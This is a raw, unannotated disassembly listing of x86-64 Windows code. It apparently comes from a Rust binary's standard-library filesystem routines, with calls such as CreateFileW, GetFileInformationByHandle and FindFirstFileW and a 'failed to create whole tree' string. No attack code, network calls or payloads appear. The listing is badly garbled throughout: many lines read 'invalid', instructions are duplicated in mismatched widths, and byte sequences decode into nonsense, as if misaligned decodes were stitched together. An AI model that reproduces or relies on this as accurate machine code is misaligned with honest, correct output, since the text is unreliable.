add dword [rax], eax
invalid
xchg ebp, eax
and byte [rcx], al
add dword [rax], eax
invalid
call fcn.1400dcf00
cmp byte [rbp - 0x28], 0xa
sub al, byte [0x1bd8dc9d8]
fmul dword [rdx]
je case.0x1400dc5a5.35
lea rbx, [rbp + 0xe8]
lea r14, [rbp - 0x60]
lea esi, [rbp - 0x60]
lea esi, [rbp - 0x60]
lea r15, [rbp + 0x68]
push 0xffffffffb0a58d4c
add byte [rax], al
add byte [rbp + rcx*4 + 0x6d], cl
lea r13, [rbp - 0x28]
invalid
invalid
lea r12, [rbp + 0xb0]
lea esp, [rbp + 0xb0]
lea r13, [rbp - 0x28]
lea rdi, [rbp + 0x120]
mov ebp, 0x120
mov ebp, 0x120
nop word cs:[rax + rax]
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov rcx, r14
int1
mov rdx, r15
call fcn.1400dcf00
add al, 0
add byte [rax + 0xf0aa07d], al
or cl, byte [rdi]
invalid
mov byte [rax], al
add byte [rax], al
add al, 0
add byte [rax + 0xf0aa07d], al
or cl, byte [rdi]
or cl, byte [rdi]
test byte [rax + 0x48000000], cl
mov rax, qword [rbp + 8]
mov eax, dword [rbp + 8]
or byte [rax - 0x77], cl
test eax, esp
loopne case.0x1400b40f6.949
add byte [rax], al
movups xmm0, xmmword [rbp - 0x28]
mov qword [rbp + 0xe0], rax
mov dword [rbp + 0xe0], eax
loopne case.0x1400b40f6.949
add byte [rax], al
movups xmm0, xmmword [rbp - 0x28]
movups xmm1, xmmword [rbp - 0x18]
movups xmm2, xmmword [rbp - 8]
push rbp
clc
push rbp
clc
movaps xmmword [rbp + 0xd0], xmm2
xchg ebp, eax
rol byte [rax], 1
add byte [rax], al
invalid
add byte [rdi], cl
sub dword [rbp + 0xc0], ecx
invalid
rol byte [rax], 0
invalid
movaps xmmword [rbp + 0xc0], xmm1
invalid
rol byte [rax], 0
add byte [rax], al
add byte [rdi], cl
sub dword [rbp + 0xb0], eax
invalid
mov al, 0
add byte [rax], al
movaps xmmword [rbp + 0xb0], xmm0
test dword [rax + 0x48000000], esi
mov eax, dword [rbp - 0x30]
add byte [rax], al
add byte [rax - 0x75], cl
ror byte [r8 - 0x77], 1
invalid
mov rax, qword [rbp - 0x30]
mov qword [rbx + 0x30], rax
mov dword [rbx + 0x30], eax
xor byte [r15], cl
xor byte [rdi], cl
movups xmm0, xmmword [rbp - 0x60]
adc byte [rbp - 0x60], al
movups xmm1, xmmword [rbp - 0x50]
adc byte [rbp - 0x50], cl
movups xmm2, xmmword [rbp - 0x40]
adc byte [rbp - 0x40], dl
push rbp
ror byte [rdi], 0x11
push rbx
and byte [rdi], cl
movups xmmword [rbx + 0x10], xmm1
movups xmmword [rbx + 0x20], xmm2
movups xmmword [rbx + 0x10], xmm1
adc byte [rdi], cl
adc dword [rbx], eax
movups xmmword [rbx], xmm0
mov rcx, r12
mov ecx, esp
mov rdx, rbx
mov edx, ebx
invalid
call fcn.1400d91a0
test al, al
inc dword [rax + rax*8 - 0x76b3d18c]
je case.0x1400dbee0.94
mov rcx, r13
mov rdx, rdi
cli
jmp 0x1290853ce
cli
call fcn.1400dcf00
jbe case.0x1400dbc8d.115
add byte [rax], al
cmp byte [rbp - 0x28], 0xa
fmul dword [rdx]
or dh, byte [rbp - 0x80]
jne 0x1400dca10
or byte [rax - 0x73], 0x8d
lea rcx, [rbp + 0xb0]
lea ecx, [rbp + 0xb0]
lea esi, [rax + 0x48000000]
mov al, 0
add byte [rax], al
invalid
add byte [rax - 0x73], cl
push rbp
push 0x460e8
invalid
add al, 0
lea rdx, [rbp + 0x68]
lea edx, [rbp + 0x68]
call fcn.1400dcf00
cmp byte [rbp + 0xb0], 0xa
mov ebp, 0xb0
invalid
invalid
add al, 0
add byte [rax + 0xb0bd], al
mov ebp, 0xb0
add byte [rax], al
add byte [rdx], cl
or cl, byte [rdi]
je case.0x1400d95c2.139
test byte [rcx + rax], dh
add byte [rax], al
add byte [rax - 0x77], cl
test dword [rax - 0x77], 0xb58b48f1
int1
mov rsi, qword [rbp + 0xa8]
mov rdi, rsi
mov edi, esi
mov rcx, rsi
int1
mov rsi, qword [rbp + 0xa8]
add byte [rax - 0x77], cl
mov rdx, rsi
call fcn.1400dc760
invalid
invalid
bnd call fcn.1400dc760
invalid
dec dword [rax - 0x77]
test dword [rax], esp
add dword [rax], eax
add byte [rax], al
test rax, rax
invalid
invalid
mov qword [rbp + 0x120], rax
add byte [rax], al
test rax, rax
test eax, eax
je case.0x1400d95c2.139
sgdt [rax]
add byte [rax - 0x77], cl
mov rbx, rax
mov rbx, rax
and eax, 3
add ecx, dword [rax - 0x73]
lea rcx, [0x140175960]
or eax, 0x98e81
mov cs, word [rcx]
add byte [rax + 0x63], cl
movsxd rax, dword [rcx + rax*4]
or dword [rax], eax
movsxd rax, dword [rcx + rax*4]
invalid
or dword [rax + 1], 0xfe0ffc8
add rax, rcx
enter 0xffffffffffffe0ff, 0xf
jmp rax
mov dh, 0x43
adc bl, ch
adc r11b, bpl
mov rcx, rbx
invalid
shr rcx, 0x20
call fcn.1400d6ef0
mul byte [rbx + 0x28ebffff]
and al, ch
mul byte [rbx + 0x28ebffff]
mov rax, rbx
mov eax, ebx
invalid
sub byte [rax - 0x77], cl
fmul dword [rax - 0x3f]
shr rax, 0x20
cmp eax, 0x28
clc
invalid
mov eax, ebx
shr rax, 0x20
cmp eax, 0x28
clc
invalid
and byte [rbx - 0x78f0d708], al
mov byte [rdx], 0
add al, byte [rax]
clc
sub byte [rdi], cl
xchg esi, eax
ja 0x1400dcdd2
add al, byte [rax]
add byte [rax - 0x73], cl
or eax, 0x98e5d
mov cs, word [rcx]
invalid
lea rcx, [0x140175970]
lea ecx, [0x140175970]
mov cs, word [rcx]
add byte [rax + 0x63], cl
invalid
add al, 0x81
or dword [rax], eax
movsxd rax, dword [rcx + rax*4]
invalid
add rax, rcx
jmp rax
invalid
loopne case.0x1400d95c2.147
shr bl, 4
movzx eax, byte [rbx + 0xf]
invalid
invalid
jmp case.0x1400d95c2.170
je 0x188463fe9
test al, al
sal byte [rax + rdi + 0x48], 0x8d
je 0x1400dcb60
lea rcx, [rbp + 0xb0]
lea ecx, [rbp + 0xb0]
lea esi, [rax + 0x48000000]
add byte [rax], al
add byte [rax - 0x77], cl
mov edx, edi
mov rdx, rdi
mov edx, edi
mov r8, rsi
mov eax, esi
call fcn.1400dd250
invalid
cmp dword [rbp + 0xb0], 2
mov al, 0
add byte [rax], al
add dh, byte [rbp + 0x6d]
jne case.0x1400d95c2.164
jne case.0x1400d95c2.164
mov rax, qword [rbp + 0xb8]
test dword [rax + 0x48000000], edi
lea ecx, [rbp + 0x70]
invalid
invalid
add byte [rax], al
lea rcx, [rbp + 0x70]
jo 0x1400dcb97
mov qword [rbp + 0x70], rax
mov dword [rbp + 0x70], eax
jo 0x1400dcb19
mov byte [rbp + 0x68], 1
push 0x7e85e801
call fcn.1400d49e0
jmp 0x1400dcbe3
add dword [rax], 0
add byte [rax], al
invalid
invalid
invalid
add byte [rax], al
add byte [rax - 0x73], cl
invalid
lea esp, [rax]
invalid
lea rcx, [rbp + 0x120]
lea ecx, [rbp + 0x120]
add dword [rax], eax
add al, ch
call fcn.1400d49e0
je case.0x1400d95c2.151
invalid
dec dword [rax - 0x73]
lea esp, [rax]
invalid
lea rcx, [rbp + 0x120]
and byte [rcx], al
add dword [rax], eax
add byte [rax - 0x77], cl
cli
add byte [rax], al
mov rdx, rdi
mov r8, rsi
call fcn.1400d8910
movzx edx, byte [rbp + 0x120]
mov dh, 0x95
and byte [rcx], al
add byte [rax], al
invalid
dec dword [rdi]
mov dh, 0x95
xchg ebp, eax
and byte [rcx], al
add byte [rax], al
invalid
add byte [rax - 0x75], cl
mov rcx, qword [rbp + 0x130]
mov ecx, dword [rbp + 0x130]
lea esi, [rax]
add dword [rax], eax
add byte [rax - 0x75], cl
mov rax, qword [rbp + 0x140]
mov eax, dword [rbp + 0x140]
test dword [rax + 1], eax
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
jp 0x1400dcb26
lea r8, [0x140175a14]
lea eax, [0x140175a14]
add eax, 0x98e7a
or dword [rax], eax
add byte [rbp + 0x63], cl
movsxd r9, dword [r8 + rdx*4]
invalid
or al, 0x90
add r9, r8
mov rdx, rsi
mov edx, esi
invalid
ror dword [rax - 0x77], 0xf2
mov r8, rdi
mov r8, rdi
mov eax, edi
jmp r9
loope 0x1400dcbf3
add rcx, 4
add ecx, 4
rol dword [rbx + rbp*8], 0x7e
jmp case.0x1400d95c2.162
mov edx, dword [rbp + 0xf0]
test edx, 0x400
ret 0x400
add byte [rax], al
xchg ebp, eax
lock add byte [rax], al
add bh, dh
ret 0x400
add byte [rax + rax], al
add byte [rdi], cl
invalid
xchg esp, eax
sete al
sal bh, 0x85
hlt
test dword [rbp + 0xf4], 0x20000000
test esp, esi
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], ah
add byte [rax], al
and byte [rdi], cl
xchg esp, eax
sete cl
sal esi, 0xc2
adc byte [rdx + rdx + 8], dh
adc cl, byte [rax]
test dl, 0x10
je 0x1400dcbe3
invalid
ret 0x7410
adc cl, byte [rax]
or al, cl
enter 0xe74, 0x48
lea ecx, [rbp + 0x120]
and byte [rcx], al
add byte [rax], al
je 0x1400dcbe3
invalid
lea rcx, [rbp + 0x120]
and byte [rcx], al
add byte [rax], al
add al, ch
invalid
call fcn.1400d49e0
xor ebx, ebx
fisttp dword [rax - 0x77]
fmul dword [rax - 0x7f]
mov rax, rbx
mov eax, ebx
add rsp, 0x1e8
invalid
call 0x19b0dcbef
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop r14
pop r15
pop rbp
ret
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
ror byte [rax + 1], 1
ror dword [rax - 0x7d], 1
invalid
invalid
add dword [rax - 0x7b], ecx
ror byte [rax + 0xf], 0x44
ror byte [rax + 1], 1
ror dword [rax - 0x7d], 1
ror dword [rax], 0xeb
or bl, ch
or bl, ch
jmp case.0x1400d95c2.162
and byte [rcx + 6], bh
mov ecx, 6
add bl, ch
jmp case.0x1400d95c2.162
sbb dword [rax - 0x73], ecx
push rax
add dword [rax - 0x7b], ecx
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
invalid
lea rdx, [rax + 1]
test rax, rax
test eax, eax
cmove rdx, rax
add rcx, rdx
add ecx, edx
add rcx, 2
jmp case.0x1400d95c2.162
add eax, 0x2b9
add byte [rax - 0x77], cl
mov rdx, rsi
sub rdx, rcx
mov ecx, 2
mov rdx, rsi
mov edx, esi
sub rdx, rcx
jb 0x1400dce66
invalid
sub al, 2
add byte [rax], al
add rcx, rdi
stc
mov r8, rcx
test rdx, rdx
je 0x1400dcc57
adc al, byte [rcx + 0xf]
mov dh, 0
invalid
movzx eax, byte [r8]
add byte [rdi + rbp], bh
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete al
xchg esp, eax
ror byte [rax], 0xc8
xchg esp, eax
ror byte [rax], 0xc8
jmp case.0x1400dbbc3.87
xor eax, eax
ror byte [rax - 0x77], 0xbd
mov qword [rbp + 0xb0], rdi
mov al, 0
add byte [rax], al
invalid
add byte [rax - 0x77], cl
mov ch, 0xb8
add byte [rax], al
mov qword [rbp + 0xb8], rsi
add byte [rdi], cl
adc byte [rbp + 0x120], al
invalid
movups xmm0, xmmword [rbp + 0x120]
add byte [rdi], cl
adc byte [rbp + 0x130], cl
lea esi, [rax]
add dword [rax], eax
invalid
movups xmm1, xmmword [rbp + 0x130]
lea esi, [rax]
add dword [rax], eax
add byte [rdi], cl
adc dword [rbp + 0xc0], eax
invalid
movups xmmword [rbp + 0xc0], xmm0
add byte [rdi], cl
adc dword [rbp + 0xd0], ecx
invalid
movups xmmword [rbp + 0xd0], xmm1
add byte [rax - 0x75], cl
lea eax, [rax + 1]
add byte [rax], al
invalid
mov rcx, qword [rbp + 0x140]
mov ecx, dword [rbp + 0x140]
add byte [rax - 0x77], cl
invalid
mov qword [rbp + 0xe0], rcx
add byte [rax + 0xea85], cl
mov byte [rbp + 0xea], al
add byte [rax], al
add byte [rsi - 0x39], ah
test eax, ebp
add byte [rax], al
add byte [rax], al
invalid
mov word [rbp + 0xe8], 0x200
mov dword [rbp + 0xe8], 0x8d480200
add byte [rdx], al
add cl, byte [rax - 0x73]
lea rcx, [rbp + 0x68]
lea rdx, [rbp + 0xb0]
lea edx, [rbp + 0xb0]
push 0xffffffffb0958d48
add byte [rax], al
add al, ch
lea edx, [rbp + 0xb0]
xchg ebp, eax
mov al, 0
add byte [rax], al
call fcn.1400dcf00
movzx eax, byte [rbp + 0x68]
invalid
push rax
add al, byte [rax]
add byte [rdi], cl
mov dh, 0x45
push 0xc750a3c
cmp al, 0xa
jne case.0x1400dc072.66
lea rbx, str.failed_to_create_whole_tree
sbb eax, 0x68fc1
ror dword [rdi + 0x1fe90006], 0xff
jmp 0x1400dcbe3
invalid
invalid
add al, 0xfa
cmp al, 3
ja 0x1400dccb8
out dx, al
movzx eax, al
mov dh, 0xc0
dec rax
enter 0xffffffffffff8348, 0xfffffffffffffff8
cmp rax, 3
jae 0x1400dccb8
clc
add esi, dword [rbx - 0x1e]
lea rcx, [rbp + 0xb0]
lea ecx, [rbp + 0xb0]
mov al, 0
add byte [rax], al
call fcn.1400d9290
test rax, rax
invalid
scasb al, byte [rdi]
invalid
invalid
sal byte [rcx + rdx*8 + 0x48], 0x89
shr eax, 0x41
invalid
je 0x1400dccb8
mov rcx, rax
call fcn.1400dc830
sti
invalid
invalid
sti
sti
invalid
dec dword [rax - 0x77]
ret
mov rbx, rax
test rax, rax
test eax, eax
jne 0x1400dcbe3
invalid
invalid
dec dword [rax - 0x77]
stc
mov rcx, rdi
mov ecx, edi
mov rdx, rsi
bnd call fcn.1400dc760
call fcn.1400dc760
cli
invalid
mov qword [rbp + 0xb0], rax
mov dword [rbp + 0xb0], eax
test dword [rax + 0x48000000], esi
add byte [rax], al
add byte [rax - 0x7b], cl
test rax, rax
test eax, eax
ror byte [rdi], 0x84
retf
je case.0x1400d95c2.139
test bl, cl
invalid
dec dword [rax - 0x77]
mov rbx, rax
mov rcx, rdi
mov ecx, edi
ret
mov ecx, edi
mov rdx, rsi
mov edx, esi
call fcn.1400dd390
invalid
add byte [rax + rax*8 - 0x1487bf1], al
test al, al
je 0x1400dcbe3
mov bh, 0xfe
invalid
dec dword [rax - 0x73]
lea esi, [rax - 0x17000000]
mov al, 0
add byte [rax], al
invalid
lea rcx, [rbp + 0xb0]
lea ecx, [rbp + 0xb0]
mov al, 0
add byte [rax], al
add cl, ch
jmp 0x1400dcbdc
movsb byte [rdi], byte [rsi]
invalid
invalid
mov al, 0x25
jmp case.0x1400d95c2.170
in eax, 0xfd
invalid
invalid
and eax, 0xfffde5e9
push qword [rax - 0x22116dd]
mov al, 0x23
invalid
fdivp st(5)
in eax, 0xfd
invalid
mov al, 0x23
jmp case.0x1400d95c2.170
fdivp st(5)
invalid
invalid
and ebp, ecx
fdivp st(5)
invalid
mov al, 0x24
jmp case.0x1400d95c2.170
xlatb
std
invalid
invalid
and al, 0xe9
xlatb
std
invalid
mov al, 0x1b
jmp case.0x1400d95c2.170
sar ch, 1
invalid
invalid
sbb ebp, ecx
sar ch, 1
invalid
mov al, 0x22
jmp case.0x1400d95c2.170
leave
std
invalid
invalid
and ch, cl
leave
std
invalid
mov al, 0x10
jmp case.0x1400d95c2.170
invalid
invalid
adc cl, ch
ret 0xfffd
invalid
invalid
mov al, 0xe
jmp case.0x1400d95c2.170
invalid
std
invalid
invalid
mov ebx, 0xb0fffffd
and ecx, ebp
invalid
mov al, 0x21
jmp case.0x1400d95c2.170
mov ah, 0xfd
invalid
invalid
mov ah, 0xfd
invalid
mov al, 0xb
jmp case.0x1400d95c2.170
lodsd eax, dword [rsi]
std
invalid
invalid
lodsd eax, dword [rsi]
std
invalid
mov al, 4
jmp case.0x1400d95c2.170
cmpsb byte [rsi], byte [rdi]
std
invalid
invalid
cmpsb byte [rsi], byte [rdi]
std
invalid
mov al, 0x28
jmp case.0x1400d95c2.170
lahf
std
invalid
invalid
sub cl, ch
lahf
std
invalid
push qword [rax - 0x26716f4]
mov al, 0xc
jmp case.0x1400d95c2.170
cwde
std
invalid
invalid
cwde
std
invalid
mov al, 9
jmp case.0x1400d95c2.170
xchg ecx, eax
std
invalid
invalid
xchg ecx, eax
std
invalid
mov al, 0x19
jmp case.0x1400d95c2.170
mov bh, ch
invalid
invalid
mov bh, ch
invalid
mov al, 0x18
jmp case.0x1400d95c2.170
cmp ebp, 0xffffffff
invalid
sbb cl, ch
cmp ebp, 0xffffffff
push qword [rax - 0x28316fe]
mov al, 2
invalid
jl 0x1400dcda3
invalid
invalid
mov al, 2
jmp case.0x1400d95c2.170
jl 0x1400dcda3
invalid
invalid
jl 0x1400dcda3
mov al, 0xf
jmp case.0x1400d95c2.170
jne 0x1400dcdaa
invalid
invalid
jne 0x1400dcdaa
std
invalid
outsb dx, byte [rsi]
std
invalid
invalid
std
invalid
invalid
invalid
pop rcx
std
invalid
push rdx
std
invalid
mov al, 0x29
jmp case.0x1400d95c2.170
std
invalid
invalid
sub ecx, ebp
std
invalid
std
invalid
cmp eax, 0xb0fffffd
adc eax, 0xfffd36e9
invalid
push qword [rax - 0x2d016f3]
invalid
invalid
invalid
std
invalid
invalid
invalid
invalid
and ebp, edi
invalid
push qword [rax - 0x2e516f6]
invalid
invalid
invalid
add eax, 0xb0fffffd
invalid
push qword [rax - 0x30116ea]
invalid
cld
invalid
invalid
jmp 0xf10dce38
push qword [rax - 0x31d16e4]
invalid
invalid
dec dword [rbp + rcx*4 + 5]
sub dl, byte [rbp - 0x76b7fffa]
invalid
lea r8, str.library_std_srcpath.rs
mov rdx, rsi
bnd call fcn.140104660
ja 0x1400dce76
add ah, cl
xchg ebp, eax
invalid
push r15
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
lea rcx, [rbp + 0xb0]
add al, ch
cmp byte [rbx - 1], bh
invalid
call qword [rax + 0x28c48348]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rbp
ret
invalid
lea ebp, [rdx + 0x80]
lea rcx, [rbp + 0x120]
call fcn.1400d49e0
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov qword [rbp + 0x18], rdx
mov rbx, qword [rdi + 8]
je 0x1400dd001
test cl, cl
jne 0x1400dd1fa
lea r14, [rbp - 0x60]
jmp 0x1400dcf8f
nop word cs:[rax + rax]
mov byte [rdi + 0x39], 1
mov al, 1
cmp r13b, al
ja 0x1400dd1fa
cmp al, 2
jne 0x1400dd129
mov rcx, rdi
call case.0x1400d7de1.69
cmp rbx, rax
jbe 0x1400dcf80
invalid
fmul qword [rcx + rcx*4 - 0xf]
mov rcx, r14
mov rdx, rdi
call fcn.1400d9720
mov rcx, rbx
movzx eax, byte [rbp - 0x58]
movups xmm0, xmmword [r12]
movups xmm1, xmmword [r12 + 0x10]
and al, 0x10
movups xmm2, xmmword [r12 + 0x20]
movaps xmmword [rbp - 0x20], xmm0
movaps xmmword [rbp - 0x10], xmm1
movaps xmmword [rbp], xmm2
mov rdx, qword [r12 + 0x2f]
invalid
mov qword [rbp + 0xf], rdx
push rbp
cmovs ebp, dword [rbx]
invalid
invalid
jb 0x1400dd217
invalid
push rbp
cmovs ebp, dword [rbx]
movabs al, byte [0x894800000231820f]
or byte [r10 + r9], r15b
invalid
mov qword [rdi + 8], rcx
cmp al, 0xa
invalid
or cl, byte [rdi]
test dword [rbp + 1], esi
add byte [rax], al
jne 0x1400dd167
mov al, 2
mov rbx, rcx
retf
cmp r13b, al
jbe 0x1400dcf8f
add cl, byte [rax - 0x77]
retf
jmp 0x1400dd1fa
test cl, cl
jne 0x1400dd1fa
add byte [rax], al
add byte [rax], al
mov r14, rbx
mov esi, ebx
jmp 0x1400dd01f
nop
mov byte [rdi + 0x39], 1
cmp dword [rcx], eax
mov al, 1
cmp r13b, al
ja 0x1400dd1fa
cmp al, 1
je 0x1400dd0a0
movzx eax, al
cmp eax, 2
jne 0x1400dd130
movabs al, byte [0xffffc6d8e8fa8948]
cli
call fcn.1400d9720
mov rbx, r14
movzx eax, byte [rbp - 0x58]
movups xmm0, xmmword [r12]
movups xmm1, xmmword [r12 + 0x10]
adc byte [rsp + 0x10], cl
adc byte [rsp + 0x10], cl
and al, 0x10
movups xmm2, xmmword [r12 + 0x20]
and al, 0x20
movaps xmmword [rbp - 0x20], xmm0
movaps xmmword [rbp - 0x10], xmm1
movaps xmmword [rbp], xmm2
mov rcx, qword [r12 + 0x2f]
mov qword [rbp + 0xf], rcx
mov dword [rbp + 0xf], ecx
mov dword [rbp + 0xf], ecx
cmovs r13, qword [r11]
pop rbp
movabs al, byte [0x894800000192820f]
invalid
xchg edx, eax
add dword [rax], eax
add byte [rax - 0x77], cl
pop rdi
or byte [rdx + rcx], bh
sub rbx, qword [rbp - 0x60]
jb 0x1400dd211
invalid
xchg edx, eax
add dword [rax], eax
invalid
mov qword [rdi + 8], rbx
cmp al, 0xa
jne 0x1400dd167
mov al, 2
mov r14, rbx
mov esi, ebx
mov esi, ebx
jmp 0x1400dd016
nop word cs:[rax + rax]
add dh, al
cmp dword [r8], r8d
mov byte [rdi + 0x39], 0
xor eax, eax
cmp r15d, 3
jb 0x1400dd016
cmp edi, 6
jne 0x1400dd15f
add byte [rax], al
add byte [rax], al
test r14, r14
je 0x1400dd0f4
and ecx, dword [rax - 0x75]
sbb byte [r15], r9b
mov dh, 0x40
add dword [rbx + 0x2b742ff8], eax
cmp eax, 0x5c
je 0x1400dd113
cmp cl, 0x2e
jne 0x1400dd016
add byte [rax], al
movzx eax, al
test eax, eax
jne 0x1400dd14d
mov eax, r15d
lea rcx, [0x140175a30]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov byte [rdi + 0x39], 0
sub rbx, 1
jb 0x1400dd226
mov byte [rsi], al
movaps xmm0, xmmword [rbp - 0x20]
movaps xmm1, xmmword [rbp - 0x10]
invalid
invalid
movaps xmm2, xmmword [rbp]
movups xmmword [rsi + 1], xmm0
movups xmmword [rsi + 0x11], xmm1
movups xmmword [rsi + 0x21], xmm2
mov rax, qword [rbp + 0xf]
mov qword [rsi + 0x30], rax
jmp 0x1400dd1fd
invalid
mov rax, qword [rdi + 0x20]
mov rcx, qword [rdi + 0x30]
lea rdx, [rcx + 1]
test rcx, rcx
cmove rdx, rcx
add rax, rdx
add rax, 8
jmp 0x1400dd1c1
and byte [rax - 0x75], cl
xor byte [r8 - 0x73], r9b
push rcx
add dword [rax - 0x7b], ecx
leave
cmove rdx, rcx
add rax, rdx
add rax, 2
test rax, rax
je 0x1400dd1f6
mov byte [rdi + 0x39], 3
movzx eax, byte [rbp + 0x27]
mov byte [rsi], al
movups xmm0, xmmword [rdi + 0x11]
movups xmm1, xmmword [rdi + 0x21]
movups xmmword [rsi + 1], xmm0
add dword [rdi], r9d
adc dword [rsi + 0x11], ecx
add dword [rdi], r9d
adc dword [rsi + 0x11], ecx
mov rax, qword [rdi + 0x30]
mov qword [rsi + 0x20], rax
mov rax, qword [rbp + 0x18]
mov qword [rsi + 0x28], rax
mov qword [rsi + 0x30], rbx
jmp 0x1400dd1fd
mov byte [rdi + 0x39], 3
mov byte [rsi], 0xa
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rcx, rbx
mov rbx, r14
lea r8, str.library_std_srcpath.rs
mov rdx, rbx
call fcn.1401046e0
lea r8, str.library_std_srcpath.rs
mov rcx, rbx
xor edx, edx
call fcn.1401046e0
lea r8, str.library_std_srcpath.rs
mov rcx, rbx
xor edx, edx
call fcn.1401046e0
int3
mov eax, ebx
and eax, 3
cmp rax, 2
jb 0x1400dd547
add al, byte [rax]
add byte [rbp + 0x39], cl
in al, dx
jne 0x1400dd701
mov dword [rsi + 8], esi
mov qword [rsi], 2
lea rcx, [rbp + 0x240]
add al, byte [rax]
add al, ch
wait
je 0x1400dd543
add byte [rax], al
call fcn.1400d49e0
jmp 0x1400dd552
mov qword [rsi], 2
add rsp, 0x2d8
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
fmul dword [0x1420dd56d]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x30], 0
xor byte [rax], al
add byte [rax], al
invalid
xor byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add bh, al
and al, 0x20
add eax, dword [rax]
add byte [rax], al
mov dword [rsp + 0x20], 3
mov rcx, r12
mov ecx, esp
xor edx, edx
mov r8d, 7
xor r9d, r9d
call qword [sym.imp.kernel32.dll_CreateFileW]
adc eax, 0x31d4a
adc eax, 0x31d4a
add byte [rax - 0x7d], cl
clc
dec dword [rdi]
test ch, dh
add byte [rax], al
add byte [rax - 0x77], cl
ret
cmp rax, 0xffffffffffffffff
je 0x1400dd695
invalid
mov rbx, rax
test rdi, rdi
je 0x1400dd5ba
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
xorps xmm0, xmm0
movaps xmmword [rbp - 0x20], xmm0
movaps xmmword [rbp - 0x30], xmm0
movaps xmmword [rbp - 0x40], xmm0
sub dword [rbp - 0x40], eax
sub dword [rbp - 0x40], eax
mov dword [rbp - 0x10], 0
lea rdx, [rbp - 0x40]
ror byte [rax - 0x77], 0xd9
ror byte [rax - 0x77], 0xd9
call qword [sym.imp.kernel32.dll_GetFileInformationByHandle]
test eax, eax
je 0x1400dd6cb
out 0, al
add byte [rax], al
out 0, al
add byte [rax], al
mov ecx, dword [rbp - 0x40]
xor eax, eax
test ecx, 0x400
je 0x1400dd635
mov qword [rbp + 0x228], 0
lea r8, [rbp + 0x228]
add al, byte [rax]
add byte [rax - 0x77], cl
fnstcw word [rdx + 9]
add al, byte [rax]
add byte [rax - 0x77], cl
fnstcw word [rdx + 9]
mov r9d, 8
call qword [sym.imp.kernel32.dll_GetFileInformationByHandleEx]
test eax, eax
je 0x1400dd6cb
invalid
mov eax, dword [rbp + 0x228]
shl eax, 0x15
sar eax, 0x1f
and eax, dword [rbp + 0x22c]
test dword [rdx + rax], ebp
add byte [rax], al
add byte [rax], al
mov ecx, dword [rbp - 0x40]
mov edx, dword [rbp - 0x1c]
mov r8d, dword [rbp - 0x24]
mov r9d, dword [rbp - 0x20]
shl r9, 0x20
or r9, rdx
mov edx, dword [rbp - 0x18]
mov r10d, dword [rbp - 0x10]
push rbp
invalid
mov r11d, dword [rbp - 0x14]
shl r11, 0x20
or r11, r10
mov qword [rsi], 1
mov qword [rsi + 8], r11
mov dword [rsi + 0x10], 1
add byte [rax], al
add byte [rcx + rcx*4 + 0x46], al
adc al, 0xc7
sbb byte [rcx], r8b
sbb byte [rcx], al
add byte [rax], al
add byte [rcx + 0x100f1c56], cl
invalid
invalid
movups xmmword [rsi + 0x20], xmm0
mov rdx, qword [rbp - 0x2c]
invalid
mov qword [rsi + 0x30], rdx
mov qword [rsi + 0x38], r9
push rbp
invalid
add byte [rax], al
add byte [rcx + rcx*4 + 0x46], al
adc al, 0xc7
sbb byte [rcx], r8b
sbb byte [rcx], al
sbb byte [rcx], al
add byte [rax], al
add byte [rcx + 0x100f1c56], cl
invalid
invalid
mov dword [rsi + 0x40], ecx
mov dword [rsi + 0x44], eax
jmp 0x1400dd6e4
mov dword [rbp + 0x24c], ebx
call qword [sym.imp.kernel32.dll_GetLastError]
add byte [rcx - 0x1c3eb73d], cl
and byte [rax - 0x7d], cl
retf
add cl, byte [rax - 0x7b]
dec dword [rdi]
test dl, ch
invalid
std
invalid
invalid
add byte [rcx - 0x1c3eb73d], cl
and byte [rax - 0x7d], cl
retf
invalid
mov rcx, qword [0x14017d208]
xor edx, edx
ror byte [rbp - 0x77], cl
invalid
ror byte [rbp - 0x77], cl
loopne 0x1400dd6c0
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x31d3a
add cl, ch
sar ebp, cl
invalid
jmp 0x1400dd49e
call qword [sym.imp.kernel32.dll_GetLastError]
adc eax, 0x31c37
shl rax, 0x20
or rax, 2
add cl, byte [rax - 0x77]
or byte [rax - 0x39], r9b
invalid
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x77], cl
invalid
add rsp, 0x2d8
add esp, 0x2d8
and byte [rax - 0x7d], cl
enter 0x4802, 0xffffffffffffff89
add cl, byte [rax - 0x77]
add cl, byte [rax - 0x77]
or byte [rax - 0x39], r9b
invalid
add esp, 0x2d8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
pop rbp
jmp qword [sym.imp.kernel32.dll_CloseHandle]
rol byte [rcx - 0x48], 0x50
push rax
add al, byte [rax]
add byte [rcx + rcx*4 - 7], cl
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, r14
mov ecx, esi
mov rdx, r15
call qword [sym.imp.kernel32.dll_FindFirstFileW]
add byte [rax - 0x7d], cl
clc
dec dword [rdi]
invalid
xchg ecx, eax
add byte [rax], al
invalid
clc
dec dword [rdi]
test byte [rcx + 0x48000000], dl
mov ecx, eax
mov rcx, rax
call qword [sym.imp.kernel32.dll_FindClose]
sbb eax, dword [rbx]
add byte [rbx + 0x100fc045], cl
ror byte [r15], 0x10
add eax, dword [rax]
mov eax, dword [rbp - 0x40]
